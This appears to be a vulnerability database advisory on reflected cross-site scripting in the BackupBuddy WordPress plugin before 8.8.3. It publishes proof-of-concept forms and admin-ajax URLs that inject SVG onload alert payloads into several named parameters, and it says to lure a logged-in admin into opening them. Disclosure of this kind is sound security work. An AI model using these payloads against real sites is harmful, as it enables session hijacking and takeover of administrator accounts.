Lucene search

K
wpexploitWpvulndbWPEX-ID:7B0EEAFE-B9BC-43B2-8487-A23D3960F73F
HistoryJan 30, 2023 - 12:00 a.m.

BackupBuddy < 8.8.3 - Multiple Reflected Cross-Site Scripting

2023-01-3000:00:00
wpvulndb
55
backupbuddy
cross-site scripting
vulnerability
exploit
security

0.005 Low

EPSS

Percentile

76.2%

The plugin does not sanitise and escape some parameters before outputting them back in various places, leading to Reflected Cross-Site Scripting

Make a logged in admin/SA open one of the URL below:

v < 8.8.3

<form action="https://example.com/wp-admin/admin-ajax.php?action=pb_backupbuddy_backupbuddy&function=migrate_status" method="POST">
    <input type="text" name="step" value="<svg/onload=alert(/XSS/)>">
    <input type="submit" name="submit" value="submit">
</form>

<form action="https://example.com/wp-admin/admin-ajax.php?action=pb_backupbuddy_backupbuddy&function=remote_send" method="POST">
    <input type="text" name="file" value="<svg/onload=alert(/XSS/)>">
    <input type="submit" name="submit" value="submit">
</form>

https://example.com/wp-admin/admin-ajax.php?action=pb_backupbuddy_backupbuddy&function=restore_file_view&archive=--!><svg/onload=alert(/XSS/)>-
https://example.com/wp-admin/admin-ajax.php?action=pb_backupbuddy_backupbuddy&function=restore_file_view&file=--!><svg/onload=alert(/XSS/)>-

v < 8.8.2

https://example.com/wp-admin/admin-ajax.php?action=pb_backupbuddy_backupbuddy&function=view_log&serial="><svg/onload=alert(/XSS/)>

v < 8.8.1
https://example.com/wp-admin/admin-ajax.php?action=pb_backupbuddy_backupbuddy&function=destination_picker&add=local&filter=local&callback_data=</script><svg/onload=alert(/XSS/)>

http:/example.com/wp-admin/admin-ajax.php?action=pb_backupbuddy_backupbuddy&function=destination_picker&add=local&filter=local&sending=%3C/script%3E%3Csvg/onload=alert(/XSS/)%3E

0.005 Low

EPSS

Percentile

76.2%

Related for WPEX-ID:7B0EEAFE-B9BC-43B2-8487-A23D3960F73F